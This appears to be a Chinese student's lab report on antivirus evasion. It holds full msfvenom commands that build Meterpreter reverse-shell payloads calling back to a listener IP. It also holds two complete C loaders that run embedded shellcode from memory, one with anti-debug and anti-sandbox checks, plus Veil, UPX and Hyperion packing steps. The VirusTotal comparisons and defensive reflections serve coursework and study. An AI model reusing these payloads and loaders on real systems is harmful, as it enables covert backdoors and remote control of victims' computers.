1.实验内容
主要是各种工具和命令的使用
(1)MSFVenom编码器使用,生成EXE、JAR、PHP、Python等多种格式文件
使用-e参数选择编码器,如x86/shikata_ga_nai
使用-i参数设置编码次数
使用-f参数指定输出格式
(2)Veil-Evasion工具
启动veil-evasion工具,选择payload类型和参数,输入文件名自动生成免杀文件
(3)UPX压缩
通过压缩改变文件特征,减小文件体积,增加静态分析难度
(4)C语言+Shellcode编程
将shellcode嵌入C语言程序,在内存中动态执行shellcode,避免文件静态检测
用MSFVenom生成原始shellcode,编写C语言加载器程序,使用交叉编译生成Windows可执行文件
2.实验过程
回答问题
(1)杀软是如何检测出恶意代码的?
杀软的检测机制主要分为两大类:静态特征检测和动态行为检测
·静态特征检测——“长什么样”
杀软拥有一个庞大的病毒特征数据库,通过将文件与特征库进行比对,匹配则判定为恶意软件
·动态行为检测——“要做什么”
杀毒软件在一个隔离的虚拟环境(沙盒)中运行程序一小段时间,监控其行为,看这个程序的真实目的
(2)免杀是做什么?
免杀,指“免于被杀毒软件查杀”,是通过一系列技术手段,使其能绕过杀毒软件的检测在目标机上成功运行不被发觉
(3)免杀的基本方法有哪些?
与杀软的原理相似,免杀的方法也大致分为两种:静态免杀和动态免杀
·静态免杀:在不运行程序的情况下,改变恶意软件的文件特征,使其无法被杀毒软件的静态扫描引擎识别
a.编码与加密:加密核心功能,包裹一层简单的解密程序,杀软扫描时只能看到加密后的乱码和解密代码
b.加壳与打包:使用专门的工具(称为壳)将原始程序压缩、加密,并附加一段解壳代码,运行时解壳代码先在内存中还原原始程序,再跳转执行
c.文件格式混淆:改变可执行文件的结构(入口点、重命名等),但保持其功能不变
d. 分离式加载:将一个无害的下载器投递到目标主机,这个下载器在运行时从远程服务器(如GitHub、云存储、Pastebin)下载恶意的核心模块到内存中直接执行
·动态免杀
a.反沙箱与反虚拟机:程序在启动时检测自己是否运行在分析环境中(内存大小、CPU核心数、硬盘大小)
b.环境感知与延时执行:动态监测通常只执行很短一段时间,恶意程序不会立即执行,而是等待特定的条件或信号(点击、移动鼠标、按下特定键、特定时间点)
c.进程注入与傀儡进程:将恶意代码注入到一个合法进程中
d.API 混淆与间接调用:不直接调用敏感的Windows API,通过动态获取函数地址等方法调用
进行实验
实验中使用virustotal作为检测标准
https://www.virustotal.com/gui/home/upload

(1)使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器生成exe文件
使用上个实验中生成的单次编码的exe文件msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe
参数解析:
-p windows/meterpreter/reverse_tcp:指定payload类型:目标操作系统为Windows,使用Metasploit的高级后门,使用反向TCP连接
LHOST=192.168.190.129:监听主机的IP地址
LPORT=8888:监听端口号
-f exe:指定输出格式为Windows可执行文件格式
放入virustotal进行检测

结果为49/72,以此作为检测标准与后面的文件比较
利用msf编码器生成多次编码的exe文件msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320hxyexe.exe
参数解析:
-e x86/shikata_ga_nai指定编码器为多态编码器,每次编码结果都不同
-i 10对Payload进行10次重复编码
-b '\x00'避免在Payload中使用空字节(0x00),空字节在字符串处理中会截断数据

传到本机ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"

对该文件进行检测

结果为43/72,比单次编码稍微少一点但是效果不是很明显,说明多次编码对exe文件免杀有一定效果
msf编码器生成Jar文件
生成单次编码的jar文件
msfvenom -p java/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 x>20232320hxyjar1.jar

通过ncat传输ncat.exe -lv 8888>"D:\Desktop\20232320hxyjar1.jar"


放入检测

得到35/64,再进行多次编码进行比较
重新生成多次编码的jar包msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f jar > 20232320hxyjar2.jar

同样的使用ncat传到本机中,放到virustotal检测

35/64没有任何改变,说明编码次数对于jar文件的免杀效果没有什么提升
生成php文件
直接将payload输出到php文件中msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp1.php
在kali文件夹中找到这个文件,复制粘贴到本机(比ncat传输更加方便),放入检测

得到结果25/62,再进行多次编码来对比
同样的对php文件也进行多次编码msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.129 LPORT=8888 -f raw > 20232320hxyphp2.php
粘贴到本机进行检测

可以看到结果为9/62,提升了不少,多次编码对PHP文件的免杀效果提升显著
使用Python脚本(py)文件
构建py文件msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f py > 20232320hxypy1.py

放到virustotal里然后令人惊讶的事情发生了

竟然达到了0/62,为了验证不是因为之前遇到过的没有传输过来的问题,查看了一下文件属性

确确实实是传过来了,看来Python文件病毒在免杀方面有突出的效果,无论是攻击方还是防范方都应该重视一下
使用veil工具进行免杀处理
下载veil
手动进行安装sudo apt install veil


(等待安装,耗时较长)
安装成功后打开,使用use 1选项


打开list查看

选择use 7,按照之前实验中配置反弹连接的IP和端口
set LHOST 192.168.190.129
set LPORT 8888
最后使用generate生成

生成后找到文件,复制到virustotal检测


结果为38/71,veil也有一点点效果但是还是被检测出很多
使用C + shellcode编程
生成Shellcode源代码,将Shellcode编写进C语言源代码之后再编译成可执行文件exe
生成shellcode,输入以下命令
cat > shellcode.c << 'EOF'
#include <windows.h>int main() {unsigned char shellcode[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52""\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7""\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d""\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01""\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18""\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34""\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75""\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01""\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01""\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58""\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00""\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8""\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80""\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xbe\x81\x68\x02\x00""\x22\xb8\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74""\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67""\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f""\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10""\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53""\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8""\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b""\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e""\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff""\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a""\x00\x53\xff\xd5";// 分配可执行内存LPVOID memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (memory == NULL) return 1;// 复制Shellcode到内存RtlMoveMemory(memory, shellcode, sizeof(shellcode));// 执行Shellcode((void(*)())memory)();ret

编译成exe文件i686-w64-mingw32-gcc -o 20232320hxyshellcode.exe shellcode.c -s

将该文件复制到本机中进行检测

结果是33/72,怎么说也比veil处理好一些
压缩壳UPX加密
对上一步生成的exe文件进行加壳upx 20232320hxyshellcode.exe -o 20232320hxyshellcode_upx.exe

virustotal检测

结果为33/72,还是一个比较平均的水平吧
压缩壳Hyperion加密
将upx加壳的文件复制到Hyperion工具所在的工作目录

进入/usr/share/windows-resources/hyperion/目录并对复制来的文件进行Hyperion加密处理



将加密后的文件放入virustotal检测

检测结果49/72,还不如不要进行Hyperion加密,看来Hyperion加密很多特征都已经被入库了,包括上面的一些技术,毕竟都是一些很经典的技术手段,也不要妄想能通过这样简单的操作骗过一直在更新优化的杀软
(2)通过组合应用各种技术实现恶意代码免杀
结合上面的各种尝试,我最终决定的方案是原始Payload → 编码混淆 → Veil生成 → Shellcode转换 → 自定义Loader → Hyperion加密 → UPX压缩
1.MSFVenom多重编码
生成多重编码的Payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 \-e x86/shikata_ga_nai -i 7 -f raw -o 20232320final.bin

2.Veil生成Loader
依次输入
> use 1
> list
> use 7
> set LHOST 192.168.190.129
> set LPORT 8888
> generate
> 输入文件名:20232320finalveil

3.创建Shellcode
使用命令创建文件
cat > 20232320final_loader.cpp << 'EOF'
#include <windows.h>
#include <stdio.h>// 20232320final.bin 的完整 Shellcode
unsigned char shellcode[] = {0xba, 0x9f, 0xee, 0xf7, 0x5b, 0xdb, 0xd0, 0xd9, 0x74, 0x24, 0xf4, 0x5e,0x33, 0xc9, 0xb1, 0x96, 0x31, 0x56, 0x13, 0x83, 0xc6, 0x04, 0x03, 0x56,0x90, 0x0c, 0x02, 0x82, 0x4f, 0x09, 0x99, 0x11, 0x7b, 0x17, 0xa5, 0x16,0x63, 0xe1, 0x75, 0x94, 0xaa, 0x43, 0x06, 0xeb, 0x43, 0xbd, 0x1a, 0x63,0x82, 0x3e, 0xdb, 0x7f, 0x91, 0xf9, 0xb9, 0x79, 0x0a, 0x9c, 0x3c, 0x46,0x42, 0xec, 0x4a, 0x91, 0x9e, 0x0a, 0x68, 0xc0, 0xcb, 0x3a, 0x82, 0x76,0x73, 0xe6, 0x1b, 0x3f, 0xda, 0x27, 0x77, 0xea, 0xcb, 0x7e, 0x49, 0x3f,0x61, 0x4f, 0x9f, 0xd5, 0x35, 0x71, 0x76, 0x84, 0xa9, 0x1c, 0xf9, 0xb3,0xa7, 0xf8, 0x5f, 0x1b, 0xa8, 0x45, 0x00, 0x7b, 0xf7, 0x8c, 0x1e, 0x42,0x13, 0x79, 0x52, 0x5a, 0x47, 0x0a, 0x86, 0xbb, 0x44, 0xfe, 0x9d, 0x93,0x26, 0x8f, 0xc5, 0xac, 0xe0, 0x3a, 0xe6, 0x43, 0xf0, 0xa8, 0x64, 0x1a,0x62, 0x86, 0xc5, 0xbe, 0x90, 0x99, 0x7f, 0xf8, 0xea, 0x20, 0x9a, 0xcb,0x2c, 0x5f, 0x43, 0xe1, 0x08, 0x99, 0xf8, 0x34, 0x99, 0xf7, 0x9b, 0x03,0x7f, 0x80, 0xae, 0x8c, 0xe2, 0x90, 0x46, 0x2c, 0x19, 0xf1, 0x3f, 0xdd,0x0c, 0x24, 0xad, 0x41, 0x0a, 0x75, 0x5d, 0xc0, 0x6a, 0x89, 0xb1, 0xe9,0x60, 0xd7, 0x16, 0x26, 0x3b, 0x6a, 0x4d, 0x27, 0x76, 0x99, 0x65, 0x57,0x86, 0x6d, 0x67, 0x38, 0x3e, 0xf5, 0x5e, 0x7a, 0xe7, 0x62, 0x57, 0xf1,0xe7, 0x47, 0x70, 0xd1, 0xb8, 0xba, 0x4e, 0x0d, 0x9a, 0xea, 0xff, 0x4e,0x9a, 0xdb, 0x04, 0xa1, 0x55, 0x8e, 0xa5, 0x32, 0xd0, 0x52, 0xca, 0x27,0xc3, 0x0d, 0xa8, 0x10, 0xae, 0xec, 0xde, 0x01, 0xd3, 0x27, 0x18, 0x85,0x13, 0x98, 0x91, 0x80, 0xa8, 0x1e, 0x90, 0x40, 0x1c, 0xd0, 0x95, 0x79,0x7d, 0x48, 0x84, 0x6e, 0x71, 0xd8, 0x63, 0x5b, 0x3e, 0x83, 0x12, 0xb8,0x14, 0x6d, 0xa4, 0xd6, 0x10, 0x89, 0x57, 0xfb, 0xce, 0x4b, 0x54, 0xf2,0x37, 0x8f, 0x75, 0x13, 0x96, 0x03, 0xb9, 0xcf, 0x42, 0xba, 0x0e, 0x9a,0xe2, 0xd0, 0xfe, 0x0a, 0x70, 0x8f, 0x70, 0x09, 0xa9, 0xb4, 0x60, 0xc2,0x79, 0x80, 0x0f, 0xf4, 0x02, 0x89, 0x43, 0xd4, 0x7c, 0xb9, 0xe2, 0x63,0xfd, 0x8d, 0x9e, 0xea, 0xde, 0x78, 0x23, 0x91, 0x41, 0x3d, 0x66, 0xfc,0x39, 0x93, 0x85, 0x1e, 0x96, 0x50, 0xa4, 0x25, 0x26, 0x70, 0x39, 0xc1,0x5e, 0x4f, 0x23, 0xbc, 0x15, 0x39, 0x62, 0x0b, 0x6d, 0x3f, 0xde, 0x71,0x29, 0x27, 0x88, 0x61, 0xb6, 0x9d, 0xa8, 0x90, 0xa0, 0x71, 0x6b, 0x9f,0x74, 0x1c, 0x4b, 0x41, 0xd8, 0x07, 0xa4, 0x99, 0xe4, 0xd0, 0xa3, 0x02,0x8e, 0x30, 0xc7, 0xbc, 0x39, 0x7b, 0x69, 0x26, 0x0a, 0xd9, 0x4c, 0xf1,0x67, 0xf0, 0x23, 0x72, 0x23, 0x8c, 0xce, 0xc8, 0x8e, 0xbc, 0xb8, 0x69,0xe7, 0x11, 0x70, 0xb2, 0x74, 0x95, 0x2e, 0xbb, 0xfa, 0x5e, 0x5c, 0x49,0x3b, 0x6f, 0xfa, 0xe8, 0xa9, 0x2a, 0x61, 0xfe, 0xc6, 0x3b, 0x37, 0xa4,0x8c, 0xa7, 0x94, 0xd1, 0x69, 0x82, 0x4c, 0xab, 0xd4, 0x8b, 0x51, 0x81,0xad, 0x3e, 0x83, 0xfb, 0x1e, 0xad, 0x18, 0x0a, 0x26, 0xf6, 0x9e, 0x8f,0xe5, 0x4b, 0xa2, 0x62, 0x57, 0x25, 0xa5, 0x88, 0xf9, 0x01, 0x55, 0xa2,0xda, 0x6c, 0xc3, 0x5b, 0x07, 0x6e, 0x3a, 0x7f, 0xba, 0xa1, 0x36, 0xc6,0xae, 0x29, 0x62, 0x4d, 0x3b, 0x08, 0xf2, 0x25, 0xe5, 0x55, 0x70, 0xf6,0x9d, 0x4d, 0xae, 0x45, 0xba, 0x41, 0x5f, 0xdf, 0x1a, 0xae, 0x78, 0x9c,0xb7, 0x3c, 0x46, 0x4b, 0x87, 0x06, 0x39, 0x20, 0x30, 0x14, 0xf7, 0xdb,0x8d, 0x29, 0xda, 0xac, 0x37, 0x53, 0x75, 0x89, 0xdf, 0x1e, 0x7c, 0x10,0x1d, 0xaa, 0x0e, 0x26, 0xe0, 0xce, 0x88, 0xc7, 0xb7, 0x97, 0x53, 0xdc,0xaf, 0x4f, 0x4e, 0x80, 0x6a, 0x2e, 0xec, 0x69, 0x3f, 0xf5, 0x2f, 0xf7,0x83, 0xa4, 0x18, 0xd6, 0x74, 0xb8, 0xf3, 0x58, 0x9e, 0x62, 0x14, 0x85,0x87, 0x0a, 0xb4, 0x98, 0xc6, 0xa9, 0xb4, 0x08, 0x1d, 0x4f, 0xe7, 0x05,0xd1, 0x92, 0x29, 0x6e, 0x79, 0x65, 0xc1, 0x90, 0x80, 0xc0, 0x72, 0x4b,0xb8, 0x58, 0xd4, 0x25, 0x69, 0xc5, 0xb5, 0x4a, 0xdb, 0xe2, 0x99, 0x8f,0x88, 0x4e, 0x70, 0x76, 0x39, 0x14, 0x41, 0xca, 0xba, 0xd8, 0x0d, 0x09,0x70, 0x9c, 0x6f, 0xdf, 0x0e, 0x87, 0x54, 0xbb, 0xd6, 0xf4, 0x66, 0x2a,0xa6, 0x21, 0x93, 0xe8, 0x70, 0x49, 0xda, 0xf3, 0x4b, 0x1d, 0x5c, 0x6d
};unsigned int shellcode_len = sizeof(shellcode);// 反沙箱检测 - 检查鼠标活动
bool IsSafeEnvironment() {POINT cursorPos1, cursorPos2;GetCursorPos(&cursorPos1);Sleep(3000);GetCursorPos(&cursorPos2);return (cursorPos1.x != cursorPos2.x || cursorPos1.y != cursorPos2.y);
}// 反调试检测
bool IsBeingDebugged() {return IsDebuggerPresent();
}int main() {printf("[*] 20232320final Loader Starting...\n");if (IsBeingDebugged()) {printf("[!] Debugger detected, exiting...\n");return 0;}if (!IsSafeEnvironment()) {printf("[!] Sandbox detected, exiting...\n");return 0;}printf("[+] Environment check passed\n");printf("[+] Shellcode size: %d bytes\n", shellcode_len);LPVOID execMemory = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (execMemory == NULL) {printf("[!] Memory allocation failed\n");return 1;}printf("[+] Memory allocated at: 0x%p\n", execMemory);RtlMoveMemory(execMemory, shellcode, shellcode_len);printf("[+] Executing shellcode...\n");((void(*)())execMemory)();return 0;
}
EOF

4.编译为exe文件

5.Hyperion加密
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v /path/to/20232320final_loader.exe 20232320final_encrypted.exe

复制到kali目录下方便查找

6.UPX压缩
upx --ultra-brute 20232320final_encrypted.exe -o 20232320final_compressed.exe

把这个成品放到virustotal去检测,本来以为会稍微好一点吧但是得到了这样

(还不如没有组合应用过的)
好吧我们拿去给杀软看看
这里使用的是火绒和联想电脑管家,版本如下:

(火绒)

(联想电脑管家)
先是给联想电脑管家扫描(我把实验三的所有后门文件移到了一个文件夹中一并扫描比较)



扫描结果是14个文件发现了11个,有3个没有识别出,很不幸的是我们费劲周章做出的组合技术那个20232320final_compressed.exe也被识别出来了
拿给火绒也试一遍

火绒发现了7个
硬着头皮试试监听吧

不出意外地失败了


即使选择了信任也是无法连接
要想连接只能把安全保护关掉

这之前火绒还把我的后门都删掉了。。

(很命苦的一群后门病毒)
做完实验别忘记把安全保护打开哦~
3.问题及解决方案
- 问题1:多次编码exe文件放入virustotal检测得到结果是0
![ef9705e6e4c1e60ad624ad3d5a28e67]()
- 问题1解决方案:查看文件属性中字节是0,kali中未使用命令
nc 192.168.5.9 8888<20232320hxyexe.exe将文件传输过来
![47272dc267ef039f96a22e14d75f054]()
![83c70830ffa52b32ce6f0da52127fc9]()
后续发现将kali目录下文件复制粘贴到本机中更加方便快捷 - 问题2:Veil安装没有完成,出现了AutoIT组件缺失的错误
![ff5599dd30417e5ea4f385bbb355054]()
- 问题2解决方案:使用force和silent参数强制完成安装
sudo /usr/share/veil/config/setup.sh --force --silent
![d3f738d2da8c81f80f1c64900cc3eb6]()
- 问题3:进行veil加壳处理后的文件检测得到0
![1c962b106a0a8592c666388003fa0db]()
- 问题3解决方案:选择文件错误,检测的是exe文件不是c文件
![03a502c9b0cb047c23db338d84045b9]()
(不是这个)
![26b730c72fc623ea163cabd0839ec57]()
(是这个)
![8f18173b2350a9498f5a63fa757f76b]()
4.学习感悟及思考
本次实验比起真的要自己做出能骗过杀软并且在杀软开启时成功连接的病毒的实验结果,我认为更重要的是实验过程,亲身体会每一种免杀的技术手段,比较各种技术的免杀结果,然后基于此不断完善杀软的检测方法,提高对于病毒检测的成功率,这也是现在以及未来杀软的发展方向。
目前杀软的检测大多数是针对特征码,这种静态的识别固然有其优势,但是各种免杀技术不断更新迭代,只是让杀软帮助我们防范肯定不是万全之策,我们也不能高枕无忧,首先从我们自己的行为来阻断病毒的传播一定是无论何时都需注意的,不点击来路不明的链接和下载不明软件,警惕社会工程学的攻击,网络攻防不仅仅是技术上的,还有更多方面也应两手抓、多手抓。
参考资料
https://blog.csdn.net/leah126/article/details/145620326
https://www.cnblogs.com/20222408msy/p/18505326






